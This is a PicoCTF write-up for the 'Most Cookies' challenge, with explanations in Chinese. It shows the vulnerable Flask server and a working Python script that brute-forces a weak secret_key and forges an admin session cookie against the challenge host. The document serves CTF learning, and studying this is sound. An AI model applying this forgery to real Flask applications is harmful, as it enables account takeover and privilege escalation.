PicoCTF - Most Cookies

PicoCTF - Most Cookies

tags: PicoCTF CTF Web

Background

Python Flask session 學習心得

在Flask將資料儲存在session這個object裡面時,可看成是儲存在client端,因為資料其實是存在web server,每次新增內容到session就會新增一個新的cookie(cryptographically-signed cookies),並透過secret_key做簽章。需注意的是這所謂的「secret_key」並不是用於加密(切勿儲存機密資料),而是用來做數位簽章確認資料的完整性,簡單說是每個人都可以知道cookie裡面的資料,但只有server知道cookie是否被串改,如果被串改就無法登入該帳戶。

Source code

:::spoiler Source Code

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()


:::

Recon

這一題看起來很簡單,我一開始也想說只要用Burp的intruder爆破name就好,不過看了一下sauce,發現他還有一個驗證機制,就是判斷cookie的value要是admin,但看了一下cookie的形式發現有點類似JWT的感覺eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZJEZ8A.b5j77V6nA0V6dzYvM_hg3yYRgJc(當然它不是JWT只是形式有點像),尤其是這學期修了CNS,所以對JWT直覺有點難搞,果不其然,在sauce的第7行有設定secret_key當作session簽章的依據,然後在/display的地方進行驗證

  1. name參數要有值且必須是cookie_names list的其中一種
  2. session的very_auth的value一定要是admin
  3. session的signature也要forge

Exploit - Brute Force

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import requests

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
	def get_signing_serializer(self, secret_key):
		if not secret_key:
			return None
		signer_kwargs = dict(
			key_derivation=self.key_derivation,
			digest_method=self.digest_method
		)
		return URLSafeTimedSerializer(secret_key, salt=self.salt,
		                              serializer=self.serializer,
		                              signer_kwargs=signer_kwargs)

def decodeFlaskCookie(secret_key, cookieValue):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.loads(cookieValue)

def encodeFlaskCookie(secret_key, cookieDict):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.dumps(cookieDict)

if __name__=='__main__':
	for name in cookie_names:
		session = {}
		session["very_auth"] = "admin"
		cookie = encodeFlaskCookie(name, session)
		r = requests.get("http://mercury.picoctf.net:6259/display", cookies={"session":cookie}, allow_redirects=False)
		if "picoCTF" in r.text:
			print(r.text)
			break

Reference

picoCTF 2021 Most Cookies manageFlaskSession.py source code Python Web Flask — 如何透過Form取得資料 [Flask教學] Flask Session 使用方法和介紹 Most Cookies - Write up 1 Most Cookies - Write up 2